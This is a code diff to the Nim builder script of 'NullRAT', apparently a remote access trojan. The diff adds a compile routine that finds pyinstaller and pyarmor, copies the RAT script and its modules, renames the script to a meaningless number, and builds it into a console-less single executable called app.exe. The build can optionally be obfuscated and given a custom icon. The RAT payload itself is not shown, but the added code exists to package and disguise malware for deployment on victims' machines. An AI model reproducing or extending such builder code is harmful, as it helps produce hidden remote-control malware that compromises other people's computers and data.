@@ -2,8 +2,13 @@ import std/terminal
22import std/ os
33import std/ browsers
44import std/ osproc
5+ import std/ random
6+ import std/ envvars
7+ import std/ files
58import std/ [strutils, strformat]
69
10+ randomize ()
11+
712# Windows-only
813proc cls () =
914 discard execShellCmd (" cls" )
@@ -72,7 +77,7 @@ proc compiler(): int =
7277 echo " "
7378 var obfuscate: bool
7479 var compress: bool
75- var icon: bool
80+ var icon: bool = false
7681
7782 stdout.styledWriteLine ({styleBright}, " Do you want to obfuscate the executable? (Y/n)" )
7883 var input: char = getch ()
@@ -91,8 +96,13 @@ proc compiler(): int =
9196 var iconPath: string
9297 if input == 'Y' or input == 'y' :
9398 icon = true
94- echo " Enter custom icon (.ico file) path:"
99+ echo " Drag and drop .ico file here, and press ENTER..."
100+ echo " (Or type it's full path)"
95101 iconPath = readLine (stdin);
102+ iconPath = iconPath.strip ();
103+ while fileExists (iconPath) == false :
104+ echo " Icon file not found! Please try again."
105+ iconPath = readLine (stdin)
96106 elif input == 'Q' or input == 'q' : return 0
97107 else : icon = false
98108
@@ -111,29 +121,105 @@ proc compiler(): int =
111121 echo " Executable will have custom icon"
112122 echo " Path: " , iconPath
113123 echo " "
114- stdout.styledWriteLine ({styleBright}, " Would you like to compile now? (Y/n)" )
124+ stdout.styledWriteLine (fgRed, {styleBright}, " Would you like to compile now? (Y/n)" )
115125 input = getch ()
116126 if input == 'N' or input == 'n' :
117127 echo " - User declined request. Aborting..."
118- sleep (1000 )
128+ sleep (1500 )
119129 return 0
120130 elif input == 'Q' or input == 'q' : return 0
121131 else :
122- stdout.styledWriteLine (fgCyan, " - Compiling using selected settings..." )
123- stdout.styledWriteLine (fgCyan, " - Checking pyinstaller" )
124- # Find working pyinstaller executable
132+ stdout.styledWriteLine (fgCyan, {styleBright}, " - Compiling using selected settings..." )
133+
134+ stdout.styledWriteLine (fgCyan, {styleBright}, " - Checking pyinstaller..." )
135+ # Find working pyinstaller executable
125136 var wherePy = splitLines (execCmdEx (" where pyinstaller" ).output)
126- var pyinstWorking : string ;
137+ var pyinst : string = " undef " ;
127138 for pyinstaller in wherePy:
128139 if pyinstaller == " " : continue
129- var code = $ execCmdEx (pyinstaller).exitCode
130- if code == 2 :
131- pyinstWorking = pyinstaller
132- break
133- echo " Found! " , pyinstWorking
134- stdout.styledWriteLine (fgCyan, " - Checking pyarmor" )
135- # Find working pyarmor executable
136-
140+ var code = execCmdEx (pyinstaller).exitCode
141+ if code == 2 :
142+ pyinst = pyinstaller
143+ break
144+ if " undef" notin pyinst:
145+ echo " Found! " , pyinst
146+ else :
147+ echo " [FATAL] Pyinstaller executable not found."
148+ echo " Please check your environment variables and python installation"
149+ echo " before continuing..... Exiting in 5 seconds"
150+ sleep (5000 )
151+ return 0
152+
153+ stdout.styledWriteLine (fgCyan, {styleBright}, " - Checking pyarmor..." )
154+ # Find working pyarmor executable
155+ var whereArmor = splitLines (execCmdEx (" where pyarmor-7" ).output)
156+ var armor: string = " undef" ;
157+ for pyarmor in whereArmor:
158+ if pyarmor == " " : continue
159+ var code = execCmdEx (pyarmor).exitCode
160+ if code == 2 :
161+ armor = pyarmor
162+ break
163+ if " undef" notin armor:
164+ echo " Found! " , armor
165+ else :
166+ echo " [FATAL] Pyarmor executable not found."
167+ echo " Please check your environment variables and python installation"
168+ echo " before continuing..... Exiting in 5 seconds"
169+ sleep (5000 )
170+ return 0
171+
172+ # Compiling
173+ stdout.styledWriteLine (fgCyan, {styleBright}, " - Creating tempdir..." )
174+ var folderName = " compiling-" & $ rand (6969 )
175+ createDir (folderName)
176+ setCurrentDir (dirr / " NullRAT" / folderName)
177+ var currdir = getCurrentDir ()
178+ echo currdir
179+
180+ echo dirr / " NullRAT" / " RAT.py"
181+ copyFile (dirr / " NullRAT" / " RAT.py" , currdir / " RAT.py" )
182+ echo dirr / " NullRAT" / " Variables.py"
183+ copyFile (dirr / " NullRAT" / " Variables.py" , currdir / " Variables.py" )
184+ if icon:
185+ copyFile (iconPath, currdir / " custom_icon.ico" )
186+
187+ var modules: seq [string ]
188+ for path in walkDir (dirr / " NullRAT" / " modules" ):
189+ if " create_new" in $ path.path.split (" \\ " )[^ 1 ]:
190+ continue
191+ echo $ path.path
192+ copyFile ($ path.path, currdir / $ path.path.split (" \\ " )[^ 1 ])
193+ modules.add ($ path.path.split (" \\ " )[^ 1 ])
194+
195+ var pyinst_cmd = pyinst & " --onefile --noconsole --hidden-import mss"
196+ var pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --hidden-import mss"" "
197+
198+ var dat: string = fmt" --add-data "" Variables.py;."" "
199+ pyinst_cmd.add (dat)
200+ for m in modules:
201+ dat = fmt" --add-data "" { m} ;."" "
202+ pyinst_cmd.add (dat)
203+
204+ if icon:
205+ if obfuscate:
206+ pyarmor_cmd = armor & fmt" pack --clean -e "" --onefile --noconsole --icon=custom_icon.ico --hidden-import mss"" "
207+ else :
208+ pyinst_cmd = pyinst_cmd & " --icon=custom_icon.ico"
209+
210+ moveFile (currdir / " RAT.py" , currdir / " 765678976567.py" )
211+ pyinst_cmd.add (" 765678976567.py" )
212+
213+ echo pyinst_cmd
214+ if obfuscate: discard execShellCmd (pyarmor_cmd)
215+ else : discard execShellCmd (pyinst_cmd)
216+
217+ if fileExists (currdir / " dist" / " 765678976567.exe" ):
218+ moveFile (currdir / " dist" / " 765678976567.exe" , dirr / " app.exe" )
219+ setCurrentDir (dirr / " NullRAT" )
220+ removeDir (folderName)
221+
222+ stdout.styledWriteLine (fgGreen, {styleBright}, " Build Successful!" )
137223 discard getch ()
138224
139225proc variablesCreator (x: int ) =
@@ -218,7 +304,7 @@ proc packageInstaller() =
218304 var status: int = execShellCmd (" python --version" )
219305 var status2: int = execShellCmd (" py --version" )
220306 if status == 0 or status2 == 0 :
221- echo " - Python installed!"
307+ stdout. styledWriteLine (fgGreen, {styleBright}, " - Python installed!" )
222308 echo " "
223309 stdout.styledWriteLine ({styleBright}, " [2] Checking if packages already installed..." )
224310 var result = execCmdEx (" pip freeze" )
@@ -233,7 +319,7 @@ proc packageInstaller() =
233319
234320 if allInstalled:
235321 stdout.styledWriteLine (fgGreen, {styleBright}, " - All packages installed and detected!\n\n Proceeding on with variables creation..." )
236- sleep (1500 )
322+ sleep (1000 )
237323 variablesCreator (0 )
238324 else :
239325 stdout.styledWriteLine ({styleBright}, " [3] Installing/Updating dependencies..." )
0 commit comments